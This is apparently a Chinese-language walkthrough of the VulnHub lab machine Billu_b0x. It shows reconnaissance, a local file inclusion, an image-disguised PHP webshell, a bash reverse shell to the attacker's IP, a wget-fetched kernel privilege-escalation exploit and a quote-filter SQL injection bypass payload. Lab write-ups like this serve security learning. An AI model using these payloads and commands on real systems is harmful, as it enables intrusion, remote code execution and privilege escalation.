vulnhub Billu_b0x题解
0X01 Main Point
- 1.简单的代码审计
- 2.文件包含漏洞(LFI) 读取源码
- 3.文件上传得到webshell
- 4.Linux内核提权(Ubuntu 12.04)
- 5.SQLI
0X02 前期嗅探和端口探测
arp-scan -l #得到靶机IP

nmap -sV -A -p- 172.20.10.3 #探测靶机端口及系统情况

常规的开放端口,也无法先从端口直接得到信息,访问网页:

是登录界面,并且提示你要进行SQL注入,但是在这里手工注了半天,Sqlmap跑了很久,发现把引号给过滤了,实在不知如何注入。换个思路,先扫目录看看情况:

其中
/in
是phpinfo
页面,/phpmy
是连接数据库,add.php
存在可以上传的地方,但是没有任何反应,抓包后得到的response包
是一直没有变化的:
判断可能这是登录后有了
session
后才能正常使用的页面,test.php
比较奇怪:
GET请求
?file=/etc/passwd
没有反应,GET各种请求都没有反应,不妨换成POST请求file=/etc/passwd
:
存在LFI,发现可以读取
/index.php
、c.php
、show.php
、panel.php
等,其中读取 c.php
时发现:
使用了
mysql_connect
函数,我们得到了数据库的账号密码bulli
,b0x_billu
,并且整理panel.php
:
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'],'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';mysqli_query($conn, $update);}
}
else
{
echo "i told you dear, only png,jpg and gif file are allowed"; } } else { echo "
only png,jpg and gif file are allowed"; } } } ?>
先利用数据库账号密码登录phpmy.php
,找到了数据库存储的用户名密码,从而可以登录index.php
:

user:biLLu
pass:hEx_it
直接登录后发现了刚刚无法正常上传的add.php
还有show.php
,是一个简单的上传图片的页面,而且我们知道源码,进行代码审计,发现如下这一段存在包含漏洞:
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
如果$choice
不是show
和add
那么就会执行include($dir.'/'.$_POST['load']);
include
把后面的文件作为PHP文件处理,可以在本地搭建环境进行测试:
<?php
$dir=getcwd();
include($dir.'/'.$_POST['load']);
?>
这是localhost
的index.php
,在同一目录下放入内容为:<?php
的jpg文件,成功执行了代码:
echo "HELLO WORLD";?>

回到panel.php
,这个时候我们上传一个内容为<?php system($_GET['cmd']); ?>
的文件马,然后修改load的值为图片路径(图片路径可以在显示view-source
显示源码中找到),进行GET请求就能成功执行代码:

直接在burpsuite中构造反弹shell,kali监听即可(注意在burpsuite中post方法需要进行url编码)
echo “bash -i >& /dev/tcp/172.20.10.8/2333 0>&1″ | bash

成功得到shell,
/home
下有ica
,但是进入查看后发现都没有权限
find / -perm -u=s -type f 2>/dev/null
发现SUID文件都比较常规,无法利用,也没有什么新的提示
uname -a
和lsb_release -a
查看内核版本:

searchsploit ubuntu 12.04
发现存在提权脚本:
结合
linux kernel
版本我们选用37292.c
这个脚本:
cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html/shell.c
service apache2 start #开启apache2服务
靶机shell : wget http://172.20.10.8/shell.c
然后编译,最后直接执行成功得到root权限,此靶机没有flag ~qwq

结合file读取的index.php
可以知道过滤规则:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0)
{
$row = mysqli_fetch_assoc($result); echo "You are allowed
";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
str_replace的作用是将字符’ 替换为空,可以放到本地环境测试:

这样构造payload:
un=' or 1=1 -- \'&ps=' or 1=1 -- \'
得到的sql语句为:
select * from auth where pass=' or 1=1 -- \' and uname=' or 1=1 -- \'
ps
的值为' or 1=1 -- \' and uname='
已经闭合然后 or 1=1 --
这样就是恒为真,成功绕过!